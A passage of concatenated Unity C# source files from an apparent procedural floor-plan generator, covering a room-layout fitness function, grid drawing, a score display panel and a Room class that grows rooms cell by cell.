if(v.y<minv.y)minv.y=v.y;
Vector4 walls=CellGridScript.CellArray[v.x,v.y].wallSide;
if(walls.x==1){
if(CellGridScript.CellArray[v.x,v.y+1].roomId<99){
ToConnectivity+=1f/(upsameCon);
upsameCon+=0.25f;
}else{
ToConnectivity-=1f/upsame;
upsame+=0.75f;
}
}
if(walls.y==1){
if(CellGridScript.CellArray[v.x,v.y-1].roomId<99){
ToConnectivity+=1f/(downsameCon);
downsameCon+=0.25f;
}else{
ToConnectivity-=1f/downsame;
downsame+=0.75f;
}
}
if(walls.z==1){
if(CellGridScript.CellArray[v.x+1,v.y].roomId<99){
ToConnectivity+=1f/(rightsameCon);
rightsameCon+=0.25f;
}else{
ToConnectivity-=1f/rightsame;
rightsame+=0.75f;
}
}
if(walls.w==1){
if(CellGridScript.CellArray[v.x-1,v.y].roomId<99){
ToConnectivity+=1f/(leftsameCon);
leftsameCon+=0.25f;
}else{
ToConnectivity-=1f/leftsame;
leftsame+=0.75f;
}
}
}
foreach(Vector2Int v in r.outerCells){
Vector4 wallSide=CellGridScript.CellArray[v.x,v.y].wallSide;
if(wallSide.x==1){
if(CellGridScript.CellArray[v.x,v.y+1].roomId>=99 && CellGridScript.CellArray[v.x,v.y+2].roomId<99){
ToFillb-=0.2f;
}
}
if(wallSide.y==1){
if(CellGridScript.CellArray[v.x,v.y-1].roomId>=99 && CellGridScript.CellArray[v.x,v.y-2].roomId<99){
ToFillb-=0.2f;
}
}
if(wallSide.z==1){
if(CellGridScript.CellArray[v.x+1,v.y].roomId>=99 && CellGridScript.CellArray[v.x+2,v.y].roomId<99){
ToFillb-=0.2f;
}
}
if(wallSide.w==1){
if(CellGridScript.CellArray[v.x-1,v.y].roomId>=99 && CellGridScript.CellArray[v.x-2,v.y].roomId<99){
ToFillb-=0.2f;
}
}
if(wallSide.x+wallSide.y==2)penalizeOneWide--;
if(wallSide.z+wallSide.w==2)penalizeOneWide--;
if(wallSide.x==1 && wallSide.z==1)corners++;
if(wallSide.x==1 &&wallSide.w==1)corners++;
if(wallSide.y==1 && wallSide.z==1)corners++;
if(wallSide.y==1 && wallSide.w==1)corners++;
if(wallSide.x==1 && (CellGridScript.CellArray[v.x+1,v.y+1].wallSide.w==1 && CellGridScript.CellArray[v.x+1,v.y+1].roomId==r.ID))corners++;
if(wallSide.x==1 && (CellGridScript.CellArray[v.x-1,v.y+1].wallSide.z==1 && CellGridScript.CellArray[v.x-1,v.y+1].roomId==r.ID))corners++;
if(wallSide.y==1 && (CellGridScript.CellArray[v.x+1,v.y-1].wallSide.w==1 && CellGridScript.CellArray[v.x+1,v.y-1].roomId==r.ID))corners++;
if(wallSide.y==1 && (CellGridScript.CellArray[v.x-1,v.y-1].wallSide.z==1 && CellGridScript.CellArray[v.x-1,v.y-1].roomId==r.ID))corners++;
if(wallSide.z==1 && (CellGridScript.CellArray[v.x+1,v.y+1].wallSide.y==1 && CellGridScript.CellArray[v.x+1,v.y+1].roomId==r.ID))corners++;
if(wallSide.z==1 && (CellGridScript.CellArray[v.x+1,v.y-1].wallSide.x==1 && CellGridScript.CellArray[v.x+1,v.y-1].roomId==r.ID))corners++;
if(wallSide.w==1 && (CellGridScript.CellArray[v.x-1,v.y+1].wallSide.y==1 && CellGridScript.CellArray[v.x-1,v.y+1].roomId==r.ID))corners++;
if(wallSide.w==1 && (CellGridScript.CellArray[v.x-1,v.y-1].wallSide.x==1 && CellGridScript.CellArray[v.x-1,v.y-1].roomId==r.ID))corners++;
}
if(r.Type!=Room.roomType.hall){
ToRectangular+=-Mathf.Pow((corners-4),2);
}else{
ToRectangular-=Mathf.Pow((corners-4),1.2f);
}
r.corners=corners;
}
AvDist=AvDist/distances;
AvDist=-Mathf.Pow(AvDist,2);
//toFill Proper
if(stole){
ToFill=prevToFill;
}else{
int outsidecells=FindOusideCellsTest(minv.x,maxv.x,minv.y,maxv.y);
//
ToFill=((((maxv.x+1)-(minv.x-1))+1)*(((maxv.y+1)-(minv.y-1))+1))-(outsidecells+size);
prevToFill=ToFill;
}
//print(((((maxv.x+1)-(minv.x-1))+1)*(((maxv.y+1)-(minv.y-1))+1))+"-("+outsidecells+"+"+size+")="+ToFill);
}
if(DebugFit){
print("MinSize: "+MinSizeM*toMinSize);
print("MaxSize: "+MaxSizeM*ToMaxSize);
print("Size: "+(MaxSizeM*ToMaxSize+MinSizeM*toMinSize));
print("Ratio: "+RatioM*toRatio);
print("AvDistance: "+AvDistM*AvDist);
print("Corners: "+RectM*ToRectangular);
print("Connectivity: "+ConnectM*ToConnectivity);
print("OneWide: "+OneWideM*penalizeOneWide);
print("Fill: "+FillM*(-ToFill));
print("Fillb: "+FillMb*(-ToFillb));
}
float fit=(MinSizeM*toMinSize)+ //minSize
(MaxSizeM*ToMaxSize)+ //maxSize
(RatioM*toRatio)+ //ratio
(AvDistM*AvDist)+ //Distance
(ConnectM*ToConnectivity)+ //connectivity
(RectM*ToRectangular)+ //room rectangularity
(OneWideM*penalizeOneWide)+ //OneWide penalization
(FillM*(-ToFill))+
(FillMb*(-ToFillb));
return fit;
}
int FindOusideCells(int minx,int maxx, int miny, int maxy){
//print(minx+", "+maxx+", "+miny+", "+maxy);
int count=0;
Vector2Int vector=new Vector2Int(minx-1,miny-1);
List<Vector2Int> neighbors=new List<Vector2Int>();
List<Vector2Int> explored=new List<Vector2Int>();
neighbors.Add(vector);
explored.Add(vector);
count++;
do{
Vector2Int v=neighbors[0];
if(v.x+1<=maxx+1 && CellGridScript.CellArray[v.x+1,v.y].roomId>=99 && !explored.Contains(new Vector2Int(v.x+1,v.y))){
neighbors.Add(new Vector2Int(v.x+1,v.y));
explored.Add(new Vector2Int(v.x+1,v.y));
count++;
}
if(v.x-1>=minx-1 && CellGridScript.CellArray[v.x-1,v.y].roomId>=99 && !explored.Contains(new Vector2Int(v.x-1,v.y))){
neighbors.Add(new Vector2Int(v.x-1,v.y));
explored.Add(new Vector2Int(v.x-1,v.y));
count++;
}
if(v.y+1<=maxy+1 && CellGridScript.CellArray[v.x,v.y+1].roomId>=99 && !explored.Contains(new Vector2Int(v.x,v.y+1))){
neighbors.Add(new Vector2Int(v.x,v.y+1));
explored.Add(new Vector2Int(v.x,v.y+1));
count++;
}
if(v.y-1>=miny-1 && CellGridScript.CellArray[v.x,v.y-1].roomId>=99 && !explored.Contains(new Vector2Int(v.x,v.y-1))){
neighbors.Add(new Vector2Int(v.x,v.y-1));
explored.Add(new Vector2Int(v.x,v.y-1));
count++;
}
neighbors.Remove(v);
}while(neighbors.Count>0);
return count;
}
int FindOusideCellsTest(int minx,int maxx, int miny, int maxy){
//print(minx+", "+maxx+", "+miny+", "+maxy);
int count=0;
Vector2Int vector=new Vector2Int(minx-1,miny-1);
List<Vector2Int> neighbors=new List<Vector2Int>();
List<Vector2Int> explored=new List<Vector2Int>();
neighbors.Add(vector);
explored.Add(vector);
count++;
do{
Vector2Int v=neighbors[0];
if(v.x+1<=maxx+1 && CellArrayTest[v.x+1,v.y].roomId>=99 && !explored.Contains(new Vector2Int(v.x+1,v.y))){
neighbors.Add(new Vector2Int(v.x+1,v.y));
explored.Add(new Vector2Int(v.x+1,v.y));
count++;
}
if(v.x-1>=minx-1 && CellArrayTest[v.x-1,v.y].roomId>=99 && !explored.Contains(new Vector2Int(v.x-1,v.y))){
neighbors.Add(new Vector2Int(v.x-1,v.y));
explored.Add(new Vector2Int(v.x-1,v.y));
count++;
}
if(v.y+1<=maxy+1 && CellArrayTest[v.x,v.y+1].roomId>=99 && !explored.Contains(new Vector2Int(v.x,v.y+1))){
neighbors.Add(new Vector2Int(v.x,v.y+1));
explored.Add(new Vector2Int(v.x,v.y+1));
count++;
}
if(v.y-1>=miny-1 && CellArrayTest[v.x,v.y-1].roomId>=99 && !explored.Contains(new Vector2Int(v.x,v.y-1))){
neighbors.Add(new Vector2Int(v.x,v.y-1));
explored.Add(new Vector2Int(v.x,v.y-1));
count++;
}
neighbors.Remove(v);
}while(neighbors.Count>0);
return count;
}
void RoomInitialPositions(Floor f){
if(!startedCoroutine){
//print("initializing");
StartCoroutine(initPos(f));
//print("initializing");
if(first){
CellArrayTest = new CellGridScript.cell[CellGridScript.CellArray.GetLength(0),CellGridScript.CellArray.GetLength(1)];
}
startedCoroutine=true;
for(int ix=0;ix<CellGridScript.CellArray.GetLength(0);ix++){
for(int iy=0;iy<CellGridScript.CellArray.GetLength(1);iy++){
if(first){
CellArrayTest[ix,iy]=new CellGridScript.cell();
}
CellArrayTest[ix,iy].location=0;
CellArrayTest[ix,iy].roomId=99;
CellArrayTest[ix,iy].wallSide=Vector4.zero;
}
}
currScore=calculateFitFunction(false);
first=false;
}
}
IEnumerator initPos(Floor f){
//TODO Implement actual logic
List<int> placedRooms=new List<int>();
List<Vector2Int> innerCells=new List<Vector2Int>();
List<Vector2Int> usedCells=new List<Vector2Int>();
for(int xi=2; xi<CellGridScript.CellArray.GetLength(0)-2;xi++){
for(int yi=2; yi<CellGridScript.CellArray.GetLength(0)-2;yi++){
if(CellGridScript.CellArray[xi,yi].location==CellGridScript.cellLocation.Inner){
innerCells.Add(new Vector2Int(xi,yi));
}
}
}
//print(innerCells.Count);
//select cell in the border of the inner cells
Vector2Int v=new Vector2Int(0,0);
int rng =Random.Range(0,innerCells.Count);
v=innerCells[rng];
innerCells.Clear();
//assign it to first room(always id 0)
CellGridScript.CellArray[v.x,v.y].roomId=0;
HouseGraph.allRooms[0].outerCells.Add(v);
HouseGraph.allRooms[0].centerPoint=v;
HouseGraph.allRooms[0].currSize=1;
CellGridScript.CellArray[v.x,v.y].wallSide=Vector4.one;
if((int)CellGridScript.CellArray[(v+Vector2Int.up).x,(v+Vector2Int.up).y].location>1){
innerCells.Add(v+Vector2Int.up);
}
if((int)CellGridScript.CellArray[(v+Vector2Int.down).x,(v+Vector2Int.down).y].location>1){
innerCells.Add(v+Vector2Int.down);
}
if((int)CellGridScript.CellArray[(v+Vector2Int.left).x,(v+Vector2Int.left).y].location>1){
innerCells.Add(v+Vector2Int.left);
}
if((int)CellGridScript.CellArray[(v+Vector2Int.right).x,(v+Vector2Int.right).y].location>1){
innerCells.Add(v+Vector2Int.right);
}
usedCells.Add(v);
//print(innerCells.Count);
placedRooms.Add(0);
do{
//go through all connections place them close
foreach(Room r in HouseGraph.allRooms.Values){
if(!placedRooms.Contains(r.ID)){
rng = Random.Range(0,innerCells.Count);
v = innerCells[rng];
CellGridScript.CellArray[v.x,v.y].roomId = r.ID;
HouseGraph.allRooms[r.ID].outerCells.Add(v);
HouseGraph.allRooms[r.ID].centerPoint = v;
HouseGraph.allRooms[r.ID].currSize = 1;
CellGridScript.CellArray[v.x,v.y].wallSide = Vector4.one;
//print(v);
usedCells.Add(v);
if((int)CellGridScript.CellArray[(v+Vector2Int.up).x,(v+Vector2Int.up).y].location>1 && !usedCells.Contains(v+Vector2Int.up) && !innerCells.Contains(v+Vector2Int.up)){
innerCells.Add(v+Vector2Int.up);
}
if((int)CellGridScript.CellArray[(v+Vector2Int.down).x,(v+Vector2Int.down).y].location>1 && !usedCells.Contains(v+Vector2Int.down)&& !innerCells.Contains(v+Vector2Int.down)){
innerCells.Add(v+Vector2Int.down);
}
if((int)CellGridScript.CellArray[(v+Vector2Int.left).x,(v+Vector2Int.left).y].location>1 && !usedCells.Contains(v+Vector2Int.left)&& !innerCells.Contains(v+Vector2Int.left)){
innerCells.Add(v+Vector2Int.left);
}
if((int)CellGridScript.CellArray[(v+Vector2Int.right).x,(v+Vector2Int.right).y].location>1 && !usedCells.Contains(v+Vector2Int.right)&& !innerCells.Contains(v+Vector2Int.right)){
innerCells.Add(v+Vector2Int.right);
}
innerCells.Remove(v);
placedRooms.Add(r.ID);
}
}
}while(placedRooms.Count< f.rooms.Count);
CellGridScript.init=true;
initialized++;
CellGridScript.currFloorId=f.floorId;
//Debug.Break();
yield return null;
}
public void toggleDebugFit()=>DebugFit=!DebugFit;
}
<file_sep>/Assets/Scripts/Visual/GridDrawingScript.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class GridDrawingScript : MonoBehaviour
{
public bool Draw2D;
public struct lines{
public int maxIndex;
public Vector2[] xA;
public Vector2[] yA;
}
public Material gridMat;
lines thelines;
int numCellsX;
[Range(0.0f, 1.0f)]
public float offsetX;
[Range(0.0f, 1.0f)]
public float offsetY;
public DrawPlot plotInf;
void Start()
{
numCellsX=plotInf.numCells;
int aSize=2*(numCellsX+1);
thelines = new lines();
thelines.xA=new Vector2[aSize];
thelines.yA=new Vector2[aSize];
thelines.maxIndex=-1;
float cellSize=1.0f;
//print(cellSize);
for(int i=0;i<=numCellsX;i++){
thelines.maxIndex++;
float pos=(cellSize*i)+offsetY;
if(pos>numCellsX)pos-=numCellsX;
thelines.xA[thelines.maxIndex]=new Vector2(0,pos);
thelines.yA[thelines.maxIndex]=new Vector2(numCellsX,pos);
}
for(int i=0;i<=numCellsX;i++){
thelines.maxIndex++;
float pos=(cellSize*i)+offsetX;
if(pos>numCellsX)pos-=numCellsX;
thelines.xA[thelines.maxIndex]=new Vector2(pos,0);
thelines.yA[thelines.maxIndex]=new Vector2(pos,numCellsX);
}
}
public void UpdateGrid(){
numCellsX=plotInf.numCells;
int aSize=2*(numCellsX+1);
thelines = new lines();
thelines.xA=new Vector2[aSize];
thelines.yA=new Vector2[aSize];
thelines.maxIndex=-1;
float cellSize=1.0f;
//print(cellSize);
for(int i=0;i<=numCellsX;i++){
thelines.maxIndex++;
float pos=(cellSize*i)+offsetY;
if(pos>numCellsX)pos-=numCellsX;
thelines.xA[thelines.maxIndex]=new Vector2(0,pos);
thelines.yA[thelines.maxIndex]=new Vector2(numCellsX,pos);
}
for(int i=0;i<=numCellsX;i++){
thelines.maxIndex++;
float pos=(cellSize*i)+offsetX;
if(pos>numCellsX)pos-=numCellsX;
thelines.xA[thelines.maxIndex]=new Vector2(pos,0);
thelines.yA[thelines.maxIndex]=new Vector2(pos,numCellsX);
}
}
void FixedUpdate()
{
}
void OnPostRender()
{
if(Draw2D){
if (!gridMat)
{
Debug.LogError("Please Assign a material on the inspector");
return;
}
GL.PushMatrix();
GL.LoadOrtho();
//draw grid
gridMat.SetPass(0);
GL.Begin(GL.LINES);
if(thelines.maxIndex>=0){
for(int i=0;i<=thelines.maxIndex;i++){
//GL.Color(Color.red);
GL.Vertex3(thelines.xA[i].x/numCellsX,thelines.xA[i].y/numCellsX,0);
GL.Vertex3(thelines.yA[i].x/numCellsX,thelines.yA[i].y/numCellsX,0);
}
}
GL.End();
GL.PopMatrix();
}
}
}
<file_sep>/Assets/Scripts/UI/EvaluateScript.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.UI;
public class EvaluateScript : MonoBehaviour
{
#region FitFactors
float MinSizeM=3.0f;
float MaxSizeM=2.4f;
float RatioM=1.5f;
float AvDistM=12.4f;
float RectM=1.8f;
float ConnectM=1.6f;
float OneWideM=3.4f;
float FillM=2.6f;
float ToBound=0.25f;
#endregion
// Start is called before the first frame update
void Start()
{
}
// Update is called once per frame
void Update()
{
}
void fitFunction(){
float toMinSize=0.0f;
float toRatio=0.0f;
float AvDist=0.0f;
float ToConnectivity=0.0f;
float ToRectangular=0.0f;
float ToMaxSize=0.0f;
float penalizeOneWide=0.0f;
float ToFill=0.0f;
float ToBoundingBox=0.0f;
int distances=0;
Vector2Int minv= new Vector2Int(500,500);
Vector2Int maxv= Vector2Int.zero;
foreach(Room r in HouseGraph.allRooms.Values){
if(r.currSize<r.minSize){
toMinSize+=(r.currSize-r.minSize)*1.2f;
}else if(r.currSize>r.minSize && r.currSize<r.maxSize){
toMinSize+=(r.currSize-r.minSize)/2;
ToMaxSize+=(r.maxSize-r.currSize)/2;
}else{
ToMaxSize+=(r.maxSize-r.currSize)*1.5f;
}
if(r.currRatio>r.maxRatio){
toRatio+=Mathf.Pow((r.maxRatio-r.currRatio),3);
}else{
toRatio+=1;
}
foreach(Room r2 in HouseGraph.allRooms.Values){
if(r2.ID!=r.ID){
if(r.connections.Contains(r2.ID)){
AvDist+=Vector2.Distance(r.centerPoint,r2.centerPoint)*1.5f;
AvDist-=Mathf.Sqrt(r.minSize);
}else{
AvDist+=Vector2.Distance(r.centerPoint,r2.centerPoint);
AvDist-=Mathf.Sqrt(r.minSize);
}
distances++;
}
}
int corners=0;
float same=0.5f;
foreach(Vector2Int v in r.outerCells){
if(v.x>maxv.x)maxv.x=v.x;
if(v.y>maxv.y)maxv.y=v.y;
if(v.x<minv.x)minv.x=v.x;
if(v.y<minv.y)minv.y=v.y;
Vector4 walls=CellGridScript.CellArray[v.x,v.y].wallSide;
if(walls.x==1){
if(r.connections.Contains(CellGridScript.CellArray[v.x,v.y+1].roomId)){
ToConnectivity+=2.5f/same;
}else if(CellGridScript.CellArray[v.x,v.y+1].roomId<99){
ToConnectivity+=1f/(same);
}
}
if(walls.y==1){
if(r.connections.Contains(CellGridScript.CellArray[v.x,v.y-1].roomId)){
ToConnectivity+=2.5f/same;
}else if(CellGridScript.CellArray[v.x,v.y-1].roomId<99){
ToConnectivity+=1f/(same);
}
}
if(walls.z==1){
if(r.connections.Contains(CellGridScript.CellArray[v.x+1,v.y].roomId)){
ToConnectivity+=2.5f/same;
}else if(CellGridScript.CellArray[v.x+1,v.y].roomId<99){
ToConnectivity+=1f/(same);
}
}
if(walls.w==1){
if(r.connections.Contains(CellGridScript.CellArray[v.x-1,v.y].roomId)){
ToConnectivity+=2.5f/same;
}else if(CellGridScript.CellArray[v.x-1,v.y].roomId<99){
ToConnectivity+=1f/(same);
}
}
same+=0.25f;
}
foreach(Vector2Int v in r.outerCells){
Vector4 wallSide=CellGridScript.CellArray[v.x,v.y].wallSide;
if(wallSide.x==1){
if(CellGridScript.CellArray[v.x,v.y+1].roomId>=99 && CellGridScript.CellArray[v.x,v.y+2].roomId<99){
ToFill-=0.2f;
}
}
if(wallSide.y==1){
if(CellGridScript.CellArray[v.x,v.y-1].roomId>=99 && CellGridScript.CellArray[v.x,v.y-2].roomId<99){
ToFill-=0.2f;
}
}
if(wallSide.z==1){
if(CellGridScript.CellArray[v.x+1,v.y].roomId>=99 && CellGridScript.CellArray[v.x+2,v.y].roomId<99){
ToFill-=0.2f;
}
}
if(wallSide.w==1){
if(CellGridScript.CellArray[v.x-1,v.y].roomId>=99 && CellGridScript.CellArray[v.x-2,v.y].roomId<99){
ToFill-=0.2f;
}
}
if(wallSide.x+wallSide.y==2)penalizeOneWide--;
if(wallSide.z+wallSide.w==2)penalizeOneWide--;
if(wallSide.x==1 && wallSide.z==1)corners++;
if(wallSide.x==1 &&wallSide.w==1)corners++;
if(wallSide.y==1 && wallSide.z==1)corners++;
if(wallSide.y==1 && wallSide.w==1)corners++;
if(wallSide.x==1 && (CellGridScript.CellArray[v.x+1,v.y+1].wallSide.w==1 && CellGridScript.CellArray[v.x+1,v.y+1].roomId==r.ID))corners++;
if(wallSide.x==1 && (CellGridScript.CellArray[v.x-1,v.y+1].wallSide.z==1 && CellGridScript.CellArray[v.x+1,v.y+1].roomId==r.ID))corners++;
if(wallSide.y==1 && (CellGridScript.CellArray[v.x+1,v.y-1].wallSide.w==1 && CellGridScript.CellArray[v.x+1,v.y+1].roomId==r.ID))corners++;
if(wallSide.y==1 && (CellGridScript.CellArray[v.x-1,v.y-1].wallSide.z==1 && CellGridScript.CellArray[v.x+1,v.y+1].roomId==r.ID))corners++;
if(wallSide.z==1 && (CellGridScript.CellArray[v.x+1,v.y+1].wallSide.y==1 && CellGridScript.CellArray[v.x+1,v.y+1].roomId==r.ID))corners++;
if(wallSide.z==1 && (CellGridScript.CellArray[v.x+1,v.y-1].wallSide.x==1 && CellGridScript.CellArray[v.x+1,v.y+1].roomId==r.ID))corners++;
if(wallSide.w==1 && (CellGridScript.CellArray[v.x-1,v.y+1].wallSide.y==1 && CellGridScript.CellArray[v.x+1,v.y+1].roomId==r.ID))corners++;
if(wallSide.w==1 && (CellGridScript.CellArray[v.x-1,v.y-1].wallSide.x==1 && CellGridScript.CellArray[v.x+1,v.y+1].roomId==r.ID))corners++;
}
ToRectangular+=-Mathf.Pow((corners-4),2);
}
AvDist=AvDist/distances;
AvDist=-Mathf.Pow(AvDist,2);
int boundingSise=(maxv.x-minv.x)*(maxv.y-minv.y);
if(boundingSise<=HouseGraph.boudingSize){
ToBoundingBox=25+(HouseGraph.boudingSize-boundingSise);
}else{
ToBoundingBox=25-(boundingSise-HouseGraph.boudingSize);
}
//print("MinSize: "+MinSizeM*toMinSize);
transform.GetChild(2).GetComponent<Text>().text="MinSize:"+(MinSizeM*toMinSize);
//print("MaxSize: "+MaxSizeM*ToMaxSize);
transform.GetChild(3).GetComponent<Text>().text="MaxSize:"+(MaxSizeM*ToMaxSize);
//print("Size: "+(MaxSizeM*ToMaxSize+MinSizeM*toMinSize));
transform.GetChild(4).GetComponent<Text>().text="Total Size:"+(MaxSizeM*ToMaxSize+MinSizeM*toMinSize);
//print("Ratio: "+RatioM*toRatio);
transform.GetChild(5).GetComponent<Text>().text="Ratio:"+(RatioM*toRatio);
//print("AvDistance: "+AvDistM*AvDist);
transform.GetChild(6).GetComponent<Text>().text="Distance:"+(AvDistM*AvDist);
//print("Corners: "+RectM*ToRectangular);
transform.GetChild(7).GetComponent<Text>().text="Corners"+(RectM*ToRectangular);
//print("Connectivity: "+ConnectM*ToConnectivity);
transform.GetChild(8).GetComponent<Text>().text="Connectivity:"+(ConnectM*ToConnectivity);
//print("OneWide: "+OneWideM*penalizeOneWide);
transform.GetChild(9).GetComponent<Text>().text="One Wide:"+(OneWideM*penalizeOneWide);
//print("Fill: "+FillM*ToFill);
transform.GetChild(10).GetComponent<Text>().text="Fill:"+(FillM*ToFill);
print(ToBoundingBox);
float fit=(MinSizeM*toMinSize)+ //minSize
(MaxSizeM*ToMaxSize)+ //maxSize
(RatioM*toRatio)+ //ratio
(AvDistM*AvDist)+ //Distance
(ConnectM*ToConnectivity)+ //connectivity
(RectM*ToRectangular)+ //room rectangularity
(OneWideM*penalizeOneWide)+ //OneWide penalization
(FillM*ToFill); //Fill holes
transform.GetChild(1).GetComponent<Text>().text=""+(fit);
}
}
<file_sep>/Assets/Scripts/Method/RoomClass.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class Room
{
public int ID;
public float minSize;
public float maxSize;
public float minRatio;
public float maxRatio;
public int currSize;
public float currRatio;
public int corners;
public List<int> currentAdj;
bool Multifloor;
public string name;
public enum roomType{
hall,
living,
dining,
kitchen,
bedroom,
toilet,
bathroom,
ensuite,
stair,
extra,
garage
}
public roomType Type;
public List<Vector2Int> outerCells;
public Vector2 centerPoint;
public List<int> connections;
public Room(float minS,float maxS,float minR, float maxR, string n, int id, roomType type){
ID=id;
minSize=minS;
maxSize=maxS;
minRatio=minR;
maxRatio=maxR;
name=n;
Type=type;
connections=new List<int>();
outerCells=new List<Vector2Int>();
currSize=0;
currRatio=1;
currentAdj= new List<int>();
}
public Room(float minS,float maxS,float minR, float maxR, string n, int id, roomType type, int[] conn){
ID=id;
minSize=minS;
maxSize=maxS;
minRatio=minR;
maxRatio=maxR;
name=n;
Type=type;
connections=new List<int>();
foreach(int i in conn){
connections.Add(i);
}
outerCells=new List<Vector2Int>();
currSize=0;
currRatio=1;
currentAdj= new List<int>();
}
public bool AddCell(){
int cellChoice=Random.Range(0,outerCells.Count);
Vector2Int v =outerCells[cellChoice];
Vector4 aSides=GrowthMethod.CellArrayTest[v.x,v.y].wallSide;
int rng=Random.Range(0,((int)aSides.x+(int)aSides.y+(int)aSides.z+(int)aSides.w));
int good=0;
if(aSides.x==1){
if(good==rng){
//addCellUp
if((GrowthMethod.CellArrayTest[v.x,v.y+1].location==CellGridScript.cellLocation.Inside || GrowthMethod.CellArrayTest[v.x,v.y+1].location==CellGridScript.cellLocation.Inner) && GrowthMethod.CellArrayTest[v.x,v.y+1].roomId>=99){
GrowthMethod.CellArrayTest[v.x,v.y+1].roomId=ID;
GrowthMethod.CellArrayTest[v.x,v.y].wallSide.x=0;
GrowthMethod.CellArrayTest[v.x,v.y+1].wallSide=new Vector4(1,0,1,1);
if(GrowthMethod.CellArrayTest[v.x+1,v.y+1].roomId==ID){
GrowthMethod.CellArrayTest[v.x,v.y+1].wallSide.z=0;
GrowthMethod.CellArrayTest[v.x+1,v.y+1].wallSide.w=0;
if(sumOfWall(GrowthMethod.CellArrayTest[v.x+1,v.y+1].wallSide)==0){
outerCells.Remove(new Vector2Int(v.x+1,v.y+1));
}
}
if(GrowthMethod.CellArrayTest[v.x-1,v.y+1].roomId==ID){
GrowthMethod.CellArrayTest[v.x,v.y+1].wallSide.w=0;
GrowthMethod.CellArrayTest[v.x-1,v.y+1].wallSide.z=0;
if(sumOfWall(GrowthMethod.CellArrayTest[v.x-1,v.y+1].wallSide)==0){
outerCells.Remove(new Vector2Int(v.x-1,v.y+1));
}
}
if(GrowthMethod.CellArrayTest[v.x,v.y+2].roomId==ID){
GrowthMethod.CellArrayTest[v.x,v.y+1].wallSide.x=0;
GrowthMethod.CellArrayTest[v.x,v.y+2].wallSide.y=0;
if(sumOfWall(GrowthMethod.CellArrayTest[v.x,v.y+2].wallSide)==0){
outerCells.Remove(new Vector2Int(v.x,v.y+2));
}
}
if(sumOfWall(GrowthMethod.CellArrayTest[v.x,v.y+1].wallSide)!=0){
outerCells.Add(new Vector2Int(v.x,v.y+1));
}
if(sumOfWall(GrowthMethod.CellArrayTest[v.x,v.y].wallSide)==0){
outerCells.Remove(v);
}
//Debug.Log(name+" Add "+0);
currSize++;
currRatio=reCalculateRatioTest(0,0);
reCalculateCenterPoint();
return true;
}
}
good++;
}
if(aSides.y==1){
if(good==rng){
//addCellDown
if((GrowthMethod.CellArrayTest[v.x,v.y-1].location==CellGridScript.cellLocation.Inside || GrowthMethod.CellArrayTest[v.x,v.y-1].location==CellGridScript.cellLocation.Inner) && GrowthMethod.CellArrayTest[v.x,v.y-1].roomId>=99){
GrowthMethod.CellArrayTest[v.x,v.y-1].roomId=ID;
GrowthMethod.CellArrayTest[v.x,v.y].wallSide.y=0;
GrowthMethod.CellArrayTest[v.x,v.y-1].wallSide=new Vector4(0,1,1,1);
if(GrowthMethod.CellArrayTest[v.x+1,v.y-1].roomId==ID){
GrowthMethod.CellArrayTest[v.x,v.y-1].wallSide.z=0;
GrowthMethod.CellArrayTest[v.x+1,v.y-1].wallSide.w=0;
if(sumOfWall(GrowthMethod.CellArrayTest[v.x+1,v.y-1].wallSide)==0){
outerCells.Remove(new Vector2Int(v.x+1,v.y-1));
}
}
if(GrowthMethod.CellArrayTest[v.x-1,v.y-1].roomId==ID){
GrowthMethod.CellArrayTest[v.x,v.y-1].wallSide.w=0;
GrowthMethod.CellArrayTest[v.x-1,v.y-1].wallSide.z=0;
if(sumOfWall(GrowthMethod.CellArrayTest[v.x-1,v.y-1].wallSide)==0){
outerCells.Remove(new Vector2Int(v.x-1,v.y-1));
}
}
if(GrowthMethod.CellArrayTest[v.x,v.y-2].roomId==ID){
GrowthMethod.CellArrayTest[v.x,v.y-1].wallSide.y=0;
GrowthMethod.CellArrayTest[v.x,v.y-2].wallSide.x=0;
if(sumOfWall(GrowthMethod.CellArrayTest[v.x,v.y-2].wallSide)==0){
outerCells.Remove(new Vector2Int(v.x,v.y-2));
}
}
if(sumOfWall(GrowthMethod.CellArrayTest[v.x,v.y-1].wallSide)!=0){
outerCells.Add(new Vector2Int(v.x,v.y-1));
}
if(sumOfWall(GrowthMethod.CellArrayTest[v.x,v.y].wallSide)==0){
outerCells.Remove(v);
}
//Debug.Log(name+" Add "+1);
currSize++;
currRatio=reCalculateRatioTest(0,0);
reCalculateCenterPoint();
return true;
}
}
good++;
}
if(aSides.z==1){
if(good==rng){
//addCellRight
if((GrowthMethod.CellArrayTest[v.x+1,v.y].location==CellGridScript.cellLocation.Inside || GrowthMethod.CellArrayTest[v.x+1,v.y].location==CellGridScript.cellLocation.Inner) && GrowthMethod.CellArrayTest[v.x+1,v.y].roomId>=99){
GrowthMethod.CellArrayTest[v.x+1,v.y].roomId=ID;
GrowthMethod.CellArrayTest[v.x,v.y].wallSide.z=0;
GrowthMethod.CellArrayTest[v.x+1,v.y].wallSide=new Vector4(1,1,1,0);
if(GrowthMethod.CellArrayTest[v.x+1,v.y-1].roomId==ID){
GrowthMethod.CellArrayTest[v.x+1,v.y].wallSide.y=0;
GrowthMethod.CellArrayTest[v.x+1,v.y-1].wallSide.x=0;
if(sumOfWall(GrowthMethod.CellArrayTest[v.x+1,v.y-1].wallSide)==0){
outerCells.Remove(new Vector2Int(v.x+1,v.y-1));
}
}
if(GrowthMethod.CellArrayTest[v.x+1,v.y+1].roomId==ID){
GrowthMethod.CellArrayTest[v.x+1,v.y].wallSide.x=0;
GrowthMethod.CellArrayTest[v.x+1,v.y+1].wallSide.y=0;
if(sumOfWall(GrowthMethod.CellArrayTest[v.x+1,v.y+1].wallSide)==0){
outerCells.Remove(new Vector2Int(v.x+1,v.y+1));
}
}
if(GrowthMethod.CellArrayTest[v.x+2,v.y].roomId==ID){
GrowthMethod.CellArrayTest[v.x+1,v.y].wallSide.z=0;
GrowthMethod.CellArrayTest[v.x+2,v.y].wallSide.w=0;
if(sumOfWall(GrowthMethod.CellArrayTest[v.x+2,v.y].wallSide)==0){
outerCells.Remove(new Vector2Int(v.x+2,v.y));
}
}
if(sumOfWall(GrowthMethod.CellArrayTest[v.x+1,v.y].wallSide)!=0){
outerCells.Add(new Vector2Int(v.x+1,v.y));
}
if(sumOfWall(GrowthMethod.CellArrayTest[v.x,v.y].wallSide)==0){
outerCells.Remove(v);
}
//Debug.Log(name+" Add "+2);
currSize++;
currRatio=reCalculateRatioTest(0,0);
reCalculateCenterPoint();
